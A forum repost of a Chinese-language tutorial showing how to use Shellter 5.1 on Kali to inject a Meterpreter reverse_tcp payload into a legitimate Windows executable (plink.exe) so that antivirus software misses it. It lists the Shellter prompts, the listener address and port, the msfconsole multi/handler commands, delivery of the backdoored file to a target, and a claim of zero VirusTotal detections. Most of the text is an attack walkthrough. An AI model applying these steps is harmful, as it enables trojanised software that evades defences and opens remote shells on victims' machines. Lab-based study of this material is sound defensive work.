搜索

[9457] 2015-10-20_KaliShellter5.1：动态ShellCode注入工具绕过安全软件

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-17
2015-10-20_KaliShellter5.1：动态ShellCode注入工具绕过安全软件 K a l i   S h e l l t e r   5 . 1 ： 动 态 S h e l l C o d e 注 入 工 具   绕 过 安 全 软 件 F r e e B u f   2 0 1 5 - 1 0 - 2 0 或 许 你 还 在 为 无 法 绕 过 反 病 毒 软 件 获 得 M e t e r p r e t e r   s h e l l 而 懊 恼 ， 试 试 S h e l l t e r   5 . 1 吧 。 首 先 需 要 获 取 一 个 正 常 的 W i n d o w s   e x e 可 执 行 文 件 ， 然 后 它 会 将 s h e l l c o d e 添 加 进 去 ， 这 样 就 可 以 成 功 地 修 改 这 个 文 件 并 且 使 其 绕 过 反 病 毒 软 件 的 监 测 了 。 S h e l l t e r 有 一 个 自 动 模 式 ， 该 模 式 会 使 整 个 操 作 过 程 变 得 十 分 的 简 单 。 在 这 篇 文 章 中 ， 我 使 用 K a l i   2 . 0 作 为 主 机 , 另 外 一 台 W i n d o w s 作 为 靶 机 。 0 x 0 1   磨 刀 ： 磨 刀 ： K a l i 中 不 包 含 最 新 版 本 的 S h e l l t e r ， 如 果 要 获 取 最 新 版 本 需 要 下 载 、 解 压 Z I P 文 件 。 1 . 下 载 安 装 s h e l l t e r   h t t p s : / / w w w . s h e l l t e r p r o j e c t . c o m / d o w n l o a d / 原 文 作 者 把 下 载 下 来 的 文 件 保 存 在 了 / r o o t / D e s k t o p   目 录 。 2 . 从 K a l i 系 统 的 “ u s r / s h a r e / w i n d o w s - b i n a r i e s ” 目 录 中 找 到 “ p l i n k . e x e ” ， 然 后 将 其 拷 贝 至 S h e l l t e r 的 文 件 夹 中 。 3 . 切 换 到   / r o o t / D e s k t o p / s h e l l t e r   目 录 0 x 0 2   砍 柴 ： 砍 柴 ： 4 . 从 终 端 启 动 s h e l l t e r w i n e   s h e l l t e r . e x e 5 . 键 入 “ A ” 启 用 自 动 模 式 ： 6 . 在 提 示 P E 目 标 时 ， 输 入 ： “ p l i n k . e x e ” 7 . 当 询 问 是 否 启 用 隐 身 模 式 时 输 入 ： “ Y ”
在 隐 身 模 式 新 功 能 下 ， 后 门 文 件 仍 然 具 有 原 始 文 件 的 功 能 。 8 . 当 提 示 输 入 P a y l o a d s 时 选 择 “ L ” 然 后 选 择 “ 1 ”   M e t e r p r e t e r _ R e v e r s e _ T C P 9 . 输 入 K a l i 主 机 的 I P （ 原 文 作 者 使 用 1 9 2 . 1 6 8 . 1 . 3 9 ） 1 0 . 输 入 程 序 要 使 用 的 端 口 （ 原 文 作 者 使 用 4 5 4 5 ） S h e l l t e r 将 会 在 p l i n k . e x e 中 注 入 s h e l l c o d e ， 这 时 你 可 能 需 要 稍 等 一 会 儿 。 然 后 ， 你 就 可 以 看 到 ：
这 时 你 会 在 S h e l l t e r 目 录 发 现 两 个 文 件 : ‘ p l i n k . e x e ’ （ 这 个 是 被 注 入 s h e l l c o d e 的 后 门 文 件 ） ‘ p l i n k . e x e . b a k ’ （ 这 个 是 原 来 的 正 常 文 件 ） 1 1 . 现 在 ， 我 们 需 要 在 K a l i 系 统 中 使 用 和 之 前 相 同 的 一 些 参 数 启 动 一 个 监 听 服 务 m s f c o n s o l e u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p s e t   l h o s t   1 9 2 . 1 6 8 . 1 . 3 9 s e t   l p o r t   4 5 4 5 e x p l o i t 1 2 . 把 ‘ p l i n k . e x e ’ 复 制 到 W i n d o w s 系 统 1 3 . 如 果 你 在 W i n d o w s 系 统 里 面 运 行 p l i n k . e x e
这 里 列 出 了 一 些 帮 助 信 息 ， 但 这 个 操 作 并 不 会 触 发 远 程 s h e l l ， 但 是 当 我 们 用 p l i n k 进 行 远 程 登 录 的 时 候 （ 这 里 登 陆 的 是 树 莓 派 ） 如 下 图 所 示 ： 请 注 意 ， 我 们 通 过 p l i n k 得 到 树 莓 派 s s h 的 登 录 提 示 ， 同 时 ， 在 k a l i 中 M e t a s p l o i t 也 得 到 了 一 个 s e s s i o n ： 0 x 0 3   g e t s h e l l 这 时 可 以 执 行 s y s i n f o 获 得 靶 机 的 一 些 系 统 信 息 ： 译 者 注 ： 译 者 注 ： 值 得 一 提 的 是 ： 与 注 入 s h e l l c o d e 之 前 的 程 序 相 比 ， 经 过 处 理 的 后 门 程 序 的 大 小 与 原 程 序 在 大 小 上 是 完 全 一 样 的 ！ 更 为 重 要 的 是 把 后 门 程 序 传 到 V i r u s t o t a l 网 站 并 没 有 报 毒 （ 这 个 是 2 0 1 5 年 7 月 1 2 日   用 s h e l l t e r   4 . 0 制 作 的 后 门 上 传 检 测 结 果 ） 。
* 参 考 ： D a r k   C y b e r   编 译 / 0 x r o o t   ， 转 载 请 注 明 来 自 F r e e B u f 黑 客 与 极 客 （ F r e e B u f . C O M ） 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理